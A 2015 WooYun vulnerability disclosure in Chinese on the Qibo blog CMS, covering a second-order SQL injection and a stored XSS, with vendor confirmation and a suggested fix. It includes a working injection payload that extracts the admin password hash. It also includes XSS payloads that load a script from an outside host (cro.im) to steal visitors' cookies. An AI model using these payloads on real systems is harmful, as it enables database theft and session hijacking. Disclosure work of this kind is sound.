当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096158

漏洞标题:齐博博客系统高危漏洞集合(SQL+XSS)

相关厂商:齐博CMS

漏洞作者: 小飞

提交时间:2015-02-12 13:00

修复时间:2015-05-14 13:00

公开时间:2015-05-14 13:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-12: 细节已通知厂商并且等待厂商处理中
2015-02-13: 厂商已经确认,细节仅向厂商公开
2015-02-16: 细节向第三方安全合作伙伴开放
2015-04-09: 细节向核心白帽子及相关领域专家公开
2015-04-19: 细节向普通白帽子公开
2015-04-29: 细节向实习白帽子公开
2015-05-14: 细节向公众公开

简要描述:

该博客系统是一个类似博客大巴的公共博客平台
两个高危注入+一个可打管理员账号的xss
最新的blog 1.0
http://down.qibosoft.com/down.php?v=blog1.0

详细说明:

http://localhost/qibo/bk/blog/member/postlog.php?job=postlog
注册成会员之后发布日志
注入一
问题代码\blog\member\postlog.php

if($job=="postlog")
{
if($step==2){
if(!$title){
showerr("标题不能为空");
}elseif(!$content){
showerr("内容不能为空");
}

if($file_db){
foreach( $file_db AS $key=>$value){
if((eregi("jpg$",$value)||eregi("gif$",$value))&&!eregi("sysimage\/file",$value)){
$picurl=$value;
break;
}
}
}
if($picurl&&($webdb[if_gdimg]))
{
$smallpic="$picurl.gif";

$Newpicpath=ROOT_PATH."$webdb[updir]/$smallpic";
gdpic(ROOT_PATH."$webdb[updir]/$picurl",$Newpicpath,200,150);
if( file_exists($Newpicpath) )
{
$picurl="$smallpic";
}
$ispic=1;
}

$db->query("INSERT INTO `{$pre}blog_log_article` (`title`, `albumid`, `albumname`, `fid`, `fname`, `posttime`, `list`, `uid`, `username`,`picurl`, `ispic`, `yz`, `keywords`, `ishtml`, `ip`,`content`,passwd,viewtype) VALUES ('$title','$albumid','$albumname','$fid','$fname','$timestamp','$timestamp','$lfjuid','$lfjid','$picurl','$ispic','$yz','$keywords','1','$onlineip','$content','$passwd','$viewtype')");
@extract($db->get_one("SELECT * FROM `{$pre}blog_log_article` ORDER BY id DESC LIMIT 1"));
refreshto("list.php?type=log&job=list","<a href='../index.php?file=viewlog&uid=$lfjuid&id=$id' target='_blank'>查看效果</a> <a href='list.php?type=log&job=list'>返回列表</a> <a href='?job=$job'>继续发表</a>",600);


fenlei.png


其中albumname 入库后出库,导致了sql注入

if($albumid==-1)
{
if(strlen($newalbum)>30)
{
showerr("分类名称不能大于30个字符");
}
elseif($newalbum=='')
{
$newalbum="新分类";
}
$db->query("INSERT INTO `{$pre}$table_type` ( `name` , `uid` , `list`) VALUES ('$newalbum', '$lfjuid', '$timestamp')");
@extract($db->get_one("SELECT id AS albumid,name AS albumname FROM `{$pre}$table_type` ORDER BY id DESC LIMIT 1"));
}
elseif($albumid)
{
@extract($db->get_one("SELECT id AS albumid,name AS albumname FROM `{$pre}$table_type` WHERE id='$albumid' "));
}


但是限制了长度 只能小于30位

if(strlen($newalbum)>30)


不过后面的content,passwd无长度限制 而且全部可控,所以造成注入
利用注释 分别在两个输入点 注入出管理员密码
新建的分类填入a'\ 创建完成之后 content填入所示

_Q6L}OC~A{93K@[W@AWB~@X.png


其中content默认有两个2换行 换行会影响注释符号#
提交 burp拦截 我们在burp里面抓包去掉就行

qudiao.png


content=*/,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+and+extractvalue(1,+concat(0x5c,(select+password+from+qb_members+limit+0,1))))#


sucessu.png


同样的
注入二在blog\member\postphoto.php

if($albumid==-1)
{
if(strlen($newalbum)>30)
{
showerr("分类名称不能大于30个字符");
}
elseif($newalbum=='')
{
$newalbum="新分类";
}
$db->query("INSERT INTO `{$pre}$table_type` ( `name` , `uid` , `list`) VALUES ('$newalbum', '$lfjuid', '$timestamp')");
@extract($db->get_one("SELECT id AS albumid,name AS albumname FROM `{$pre}$table_type` ORDER BY id DESC LIMIT 1"));
}
elseif($albumid)
{
@extract($db->get_one("SELECT id AS albumid,name AS albumname FROM `{$pre}$table_type` WHERE id='$albumid' "));
}

}


问题差不多 不一一演示了
XSS
发布文章的正文 点击选择源码编辑模式 就可插入xss 其中只粗略过滤了javascript等关键字
但我们知道这远远不够

xss.png


成功弹窗

xssuccess.jpg


我们插入<script/src=//cro.im/2B></script>
或者<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://cro.im/2B';> 均可

crom1.jpg


任意人员(包括管理员)访问 可以看到平台hook加载了

crom2.png


打到了cookies

漏洞证明:

新建的分类填入a'/* 创建完成之后 content填入所示

_Q6L}OC~A{93K@[W@AWB~@X.png


其中content默认有两个2换行 换行会影响注释符号# 我们在burp里面抓包去掉就行

qudiao.png


content=*/,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+and+extractvalue(1,+concat(0x5c,(select+password+from+qb_members+limit+0,1))))#


sucessu.png


xssuccess.jpg


我们插入<script/src=//cro.im/2B></script>
或者<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://cro.im/2B';> 均可

crom1.jpg


任意人员(包括管理员)访问 可以看到平台hook加载了

crom2.png


打到了cookies

修复方案:

出库后的albumname 需要addslashes
xss过滤需要在源码模式下过滤一些标签
比如onerror svg 等等!
新年快乐!
年前提交的最后一个洞了!
挖洞不易啊 给个首页呗!

版权声明:转载请注明来源 小飞@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-13 12:59

厂商回复:

感谢提出来

最新状态:

暂无